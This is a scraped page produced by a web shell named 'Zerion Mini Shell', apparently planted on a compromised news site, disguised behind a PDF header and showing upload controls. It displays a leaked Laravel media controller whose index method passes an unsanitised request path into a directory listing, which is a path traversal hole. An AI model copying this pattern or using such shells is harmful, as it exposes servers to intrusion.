%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/news/app/Http/Controllers/Api/
Upload File :
Create Path :
Current File : /var/www/html/news/app/Http/Controllers/Api/MediaController.php

<?php

namespace App\Http\Controllers\Api;

use App\Http\Controllers\ApiController;
use App\Repositories\Media\MediaRepository;
use App\Transformers\MediaTransformer;
use EllipseSynergie\ApiResponse\Contracts\Response;
use Illuminate\Http\Request;

class MediaController extends ApiController
{
    /**
     * @var MediaRepository
     */
    private $mediaRepository;

    /**
     * UsersController constructor.
     * @param Response $response
     * @param MediaRepository $mediaRepository
     */
    public function __construct(Response $response, MediaRepository $mediaRepository)
    {
        parent::__construct($response);
        $this->transformer = new MediaTransformer;
        $this->mediaRepository = $mediaRepository;
    }

    public function index(Request $request)
    {
        $path = public_path('uploads\\' . $request->get('path'));
        $folders = \File::directories($path);
        if (count($folders) === 0) {
            $files = \File::allFiles($path);
            foreach ($files as $key => $value) {
                $files[$key] = $value->getFileName();
            }
            $medias = $this->mediaRepository->query()->whereIn('file_name', $files)->get();
            return $this->response->withCollection($medias, $this->transformer);
        }
        foreach ($folders as $key => $value) {
            $tmp = explode('\\', $value);
            $folders[$key] = $tmp[count($tmp) - 1];
        }

        return response()->json($folders);
    }


    public function store()
    {

    }

    public function show($id)
    {

    }

    public function update()
    {

    }

    public function destroy($id)
    {

    }

}

Zerion Mini Shell 1.0